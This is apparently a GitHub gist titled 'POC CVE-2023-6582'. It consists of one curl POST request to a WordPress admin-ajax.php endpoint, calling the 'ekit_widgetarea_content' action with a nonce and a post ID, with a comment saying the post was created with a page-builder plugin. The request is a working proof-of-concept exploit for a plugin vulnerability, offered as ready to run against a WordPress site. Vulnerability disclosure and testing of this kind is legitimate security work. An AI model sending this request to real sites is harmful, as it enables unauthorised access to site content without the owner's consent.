Skip to content

Instantly share code, notes, and snippets.

@bolhasec

bolhasec/sh

Created May 13, 2024 20:07
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save bolhasec/d457db53c4e97152a70a64c562373998 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save bolhasec/d457db53c4e97152a70a64c562373998 to your computer and use it in GitHub Desktop.
Download ZIP
POC CVE-2023-6582
Raw
sh
# post_id is a post created using Elementator
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: localhost:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 58' \
--data-binary $'action=ekit_widgetarea_content&nonce=ac60e98a94&post_id=14' \
$'http://localhost:8000/wp-admin/admin-ajax.php'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment